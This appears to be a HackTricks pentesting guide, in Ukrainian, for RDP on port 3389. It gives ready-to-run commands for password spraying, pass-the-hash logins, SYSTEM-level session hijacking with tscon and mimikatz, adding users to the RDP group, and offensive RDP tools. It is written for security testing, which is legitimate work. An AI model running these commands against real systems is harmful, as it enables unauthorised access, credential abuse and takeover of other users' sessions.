8.0 KiB
Raw Blame History

3389 - Pentesting RDP

{{#include ../banners/hacktricks-training.md}}

Основна інформація

Розроблений компанією Microsoft, Remote Desktop Protocol (RDP) призначений для забезпечення графічного інтерфейсу з'єднання між комп'ютерами через мережу. Для встановлення такого з'єднання користувач використовує програмне забезпечення клієнта RDP, а одночасно віддалений комп'ютер повинен працювати з програмним забезпеченням сервера RDP. Ця конфігурація дозволяє безперешкодно контролювати та отримувати доступ до робочого середовища віддаленого комп'ютера, фактично перенісши його інтерфейс на локальний пристрій користувача.

Порт за замовчуванням: 3389

PORT     STATE SERVICE
3389/tcp open  ms-wbt-server

Перерахування

Автоматичний

nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>

Він перевіряє доступне шифрування та вразливість до DoS (без викликання DoS для служби) і отримує інформацію про NTLM Windows (версії).

Brute force

Будьте обережні, ви можете заблокувати облікові записи

Password Spraying

Будьте обережні, ви можете заблокувати облікові записи

# https://github.com/galkan/crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp

Підключення з відомими обліковими даними/хешем

rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash

Перевірка відомих облікових даних на сервісах RDP

rdp_check.py з impacket дозволяє перевірити, чи є деякі облікові дані дійсними для сервісу RDP:

rdp_check <domain>/<name>:<password>@<IP>

Атаки

Вкрадення сесій

З права SYSTEM ви можете отримати доступ до будь-якої відкритої RDP-сесії будь-якого користувача без необхідності знати пароль власника.

Отримати відкриті сесії:

query user

Доступ до вибраної сесії

tscon <ID> /dest:<SESSIONNAME>

Тепер ви будете всередині вибраної сесії RDP і зможете видавати себе за користувача, використовуючи лише інструменти та функції Windows.

Важливо: Коли ви отримуєте доступ до активних сесій RDP, ви виведете користувача, який її використовував.

Ви можете отримати паролі з процесу, вивантажуючи його, але цей метод набагато швидший і дозволяє вам взаємодіяти з віртуальними робочими столами користувача (паролі в блокноті без збереження на диску, інші сесії RDP, відкриті на інших машинах...)

Mimikatz

Ви також можете використовувати mimikatz для цього:

ts::sessions        #Get sessions
ts::remote /id:2    #Connect to the session

Sticky-keys & Utilman

Поєднуючи цю техніку з stickykeys або utilman, ви зможете отримати доступ до адміністративного CMD та будь-якої RDP-сесії в будь-який час.

Ви можете шукати RDP, які вже були зламані за допомогою однієї з цих технік, за адресою: https://github.com/linuz/Sticky-Keys-Slayer

RDP Process Injection

Якщо хтось з іншого домену або з кращими привілеями входить через RDP на ПК, де ви є адміністратором, ви можете впровадити свій маяк у його процес RDP-сесії і діяти як він:

{{#ref}} ../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md {{#endref}}

Adding User to RDP group

net localgroup "Remote Desktop Users" UserLoginName /add

Автоматичні інструменти

AutoRDPwn - це фреймворк після експлуатації, створений на Powershell, призначений в основному для автоматизації атаки Shadow на комп'ютерах Microsoft Windows. Ця вразливість (перерахована як функція Microsoft) дозволяє віддаленому зловмиснику переглядати робочий стіл жертви без її згоди і навіть контролювати його на вимогу, використовуючи інструменти, рідні для самої операційної системи.

  • EvilRDP

  • Контролювати мишу та клавіатуру автоматизованим способом з командного рядка

  • Контролювати буфер обміну автоматизованим способом з командного рядка

  • Створити SOCKS-проксі з клієнта, який каналує мережеву комунікацію до цілі через RDP

  • Виконувати довільні команди SHELL та PowerShell на цілі без завантаження файлів

  • Завантажувати та скачувати файли до/з цілі, навіть коли передача файлів на цілі вимкнена

  • SharpRDP

Цей інструмент дозволяє виконувати команди на RDP жертви без необхідності графічного інтерфейсу.

HackTricks Автоматичні команди

Protocol_Name: RDP    #Protocol Abbreviation if there is one.
Port_Number:  3389     #Comma separated if there is more than one.
Protocol_Description: Remote Desktop Protocol         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for RDP
Note: |
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.

https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-rdp.html

Entry_2:
Name: Nmap
Description: Nmap with RDP Scripts
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}

{{#include ../banners/hacktricks-training.md}}